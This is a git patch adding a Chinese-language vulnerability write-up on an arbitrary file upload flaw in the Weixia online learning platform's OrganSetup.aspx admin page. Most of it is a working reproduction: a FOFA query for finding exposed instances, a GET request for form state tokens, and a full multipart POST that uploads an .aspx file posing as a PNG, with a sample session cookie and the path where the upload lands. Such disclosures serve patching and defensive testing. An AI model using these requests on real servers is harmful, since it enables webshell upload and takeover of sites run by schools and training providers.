From df2500f4a4ecbb9403a7a7e87b58278ca10adca7 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Mon, 13 May 2024 19:18:05 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E5=BE=AE=E5=8E=A6=E5=9C=A8=E7=BA=BF?= =?UTF-8?q?=E5=AD=A6=E4=B9=A0=E5=B9=B3=E5=8F=B0OrganSetup=E5=AD=98?= =?UTF-8?q?=E5=9C=A8=E4=BB=BB=E6=84=8F=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...线学习平台OrganSetup存在任意文件上传漏洞.md | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100644 微厦在线学习平台OrganSetup存在任意文件上传漏洞.md diff --git a/微厦在线学习平台OrganSetup存在任意文件上传漏洞.md b/微厦在线学习平台OrganSetup存在任意文件上传漏洞.md new file mode 100644 index 0000000..10930fe --- /dev/null +++ b/微厦在线学习平台OrganSetup存在任意文件上传漏洞.md @@ -0,0 +1,124 @@ +## 微厦在线学习平台OrganSetup存在任意文件上传漏洞 + + +# 一、漏洞简介 +微厦在线学习云服务平台是一款基于B/S架构的在线教育系统,系统将在线学习、在线练习、在线考试紧密相联,打造“学、练、考”于一体的在线教育系统,方便学员利用碎片化时间进行随时随地的学习。 微厦在线学习平台OrganSetup存在任意文件上传漏洞,该漏洞产生的原因是页面文件上传功能模块未限制文件上传的类型所致,攻击者可利用漏洞上传任意文件。 + +# 二、影响版本 + +- 微厦在线学习平台 + +# 三、资产测绘 + +- fofa`body="/Utility/CoreScripts/Widget.js"` +- 特征 + +![image.png](https://cdn.nlark.com/yuque/0/2024/png/1622799/1715353673241-9fac21a8-017b-4e10-a4ab-722b03304dbe.png#averageHue=%235e9c3e&clientId=ue323928d-e4d4-4&from=paste&height=748&id=u179392d7&originHeight=1496&originWidth=2840&originalType=binary&ratio=2&rotation=0&showTitle=false&size=1037202&status=done&style=none&taskId=u08cc2613-09ab-4229-be6c-c11c31e794f&title=&width=1420) + +# 四、漏洞复现 + +1. 获取`__VIEWSTATE`和`__EVENTVALIDATION` +``` +GET /Manage/Admin/OrganSetup.aspx HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Accept-Encoding: gzip, deflate, br +Connection: close +Upgrade-Insecure-Requests: 1 +``` +![image.png](https://cdn.nlark.com/yuque/0/2024/png/1622799/1715361101585-0afa62bd-5e54-4705-8b3d-23ea20d727b3.png#averageHue=%23f9f1f1&clientId=u4dfeaa7e-a181-4&from=paste&height=632&id=u27372be9&originHeight=1264&originWidth=2472&originalType=binary&ratio=2&rotation=0&showTitle=false&size=507773&status=done&style=none&taskId=ubb63ace5-630d-4ef8-a237-316f4273ce5&title=&width=1236) + +2. 通过上一步获取的`__VIEWSTATE`和`__EVENTVALIDATION`替换后,上传文件 +``` +POST /Manage/Admin/OrganSetup.aspx HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Accept-Encoding: gzip, deflate, br +Content-Type: multipart/form-data; boundary=---------------------------286092866711427024533444908228 +Content-Length: 3614 +Connection: close +Cookie: stOnlineNumx=189; ASP.NET_SessionId=opim4u53mjzvbgoljz2haqwb; admincode=4cdcf18ba72a7b28dc405b992f8cddcd +Upgrade-Insecure-Requests: 1 + +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="__VIEWSTATE" + +/wEPDwUJNDA4NTQ0MTE3D2QWAmYPZBYCAgMQFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkFgICAQ9kFggCAQ8PFgIeBFRleHQFAnd4ZGQCAg8PFgIfAQUGbmV0LmNuZGQCBg8WAh4Dc3JjBRwvVXBsb2FkL09yZy80X1FyQ29kZUxvZ28ucG5nZAIKDxYCHwIFIi9VcGxvYWQvT3JnLzIwMjQwNTExMTI0OTEyNTc1MC5wbmdkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYGBRljdGwwMCRjcGhNYWluJGNiUXJDb2RlSW1nBRxjdGwwMCRjcGhNYWluJGNiSXNSZWdUZWFjaGVyBRxjdGwwMCRjcGhNYWluJGNiSXNSZWdTdHVkZW50BR9jdGwwMCRjcGhNYWluJGNiSXNWZXJpZnlUZWFoY2VyBR9jdGwwMCRjcGhNYWluJGNiSXNWZXJpZnlTdHVkZW50BR5jdGwwMCRjcGhNYWluJGNiSXNUcmFuaW5nTG9naW4XwDNAV+ZrEETfEtS7I06DP27E1Ue95vMfV7lK7B4pSA== +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="__VIEWSTATEGENERATOR" + +B81C8FAF +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="__EVENTVALIDATION" + +/wEdABuXaZiIoX5gkQRvpF+2vQ1CScjH4FFxAL+q4ikvLb0TbSiWUJN9ewejftZN9NIRAZX8aOtXKKXMs4QwiK7tN3gtzihlgKCbI0tOkOamx+rqIhHCHm4RWkFr+a7clSFrmCpT4H5AYBZWD7y6ZnyuYB3wY9S4hf/bSSiOFKbV8VtV+o/lBZVSldKXr63E+Da/Ksk9OyH/Pd1N/JheGeToMPcB512IH1WCLIOrwXUR5JAN8jZQlA012L+yVy6B2bVhsHRzBu3QIS1yhvK544/l15LleUfW6CS8LTlkV7ql5wks9UDmnWWs9n4CICssLcmek6WlGfPbaDlTV/qBU29Pg5LbEMtB73No2hK5uVkpHc5v6Su9Km7kpM4hPQiBs3qbphapVgU6eZvs6enycTR/SccY2QVQ1xafrB+nmau2RuS8oV6UpkC/qEKYpECUsLP/4kcZiCWzyQOdiFBPB3/S77l/pExTxwAd0OseRHgvXu4R5kLJ9zJhvPDeyll0gaN5/QndXVRdTquB1CKakTnbk7C2PjLy0sA2hNcT9aDiwRuR0OQ8KCMWCCyvM/z1yLlzyfGq4Ybqnh1PXRuwBSxfbkjJdvRUxmjpy6h1MF/eY+nsjQ== +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="ctl00$cphMain$Org_PlatformName" + + +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="ctl00$cphMain$Org_ICP" + + +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="ctl00$cphMain$tbQrColor" + +#004a80 +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="ctl00$cphMain$cbQrCodeImg" + +on +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="ctl00$cphMain$fuQrCenter"; filename="" +Content-Type: application/octet-stream + + +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="ctl00$cphMain$Org_QrCodeUrl" + + +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="ctl00$cphMain$fuLoad"; filename="1.aspx" +Content-Type: image/png + +123 +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="ctl00$cphMain$btnLogo" + +1 +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="ctl00$cphMain$cbIsVerifyTeahcer" + +on +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="ctl00$cphMain$cbIsVerifyStudent" + +on +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="ctl00$cphMain$ddlQscale" + +7 +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="ctl00$cphMain$Org_Keywords" + + +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="ctl00$cphMain$Org_Description" + + +-----------------------------286092866711427024533444908228 +Content-Disposition: form-data; name="ctl00$cphMain$Org_Extracode" + + +-----------------------------286092866711427024533444908228-- + +``` +![image.png](https://cdn.nlark.com/yuque/0/2024/png/1622799/1715361197996-8b848603-0508-4c37-aa9b-41c8d51103b8.png#averageHue=%23f1eeee&clientId=u7f7d17bb-68f4-4&from=paste&height=595&id=u8dc08de6&originHeight=1190&originWidth=2536&originalType=binary&ratio=2&rotation=0&showTitle=false&size=580233&status=done&style=none&taskId=ubf6cc252-3eb8-4f01-b406-83ccfa0fc0d&title=&width=1268)
文件位置 +``` +/Upload/Org/202405111247022210.aspx +``` +![image.png](https://cdn.nlark.com/yuque/0/2024/png/1622799/1715359761889-d5908fdd-e6ed-4a51-86d0-11a9e2405fff.png#averageHue=%23f4f4f5&clientId=uf0d62fb6-bb43-4&from=paste&height=145&id=ue7fc086a&originHeight=290&originWidth=1660&originalType=binary&ratio=2&rotation=0&showTitle=false&size=53336&status=done&style=none&taskId=ue5ff264c-26b6-4c1a-ba75-ebe8f13b5f3&title=&width=830)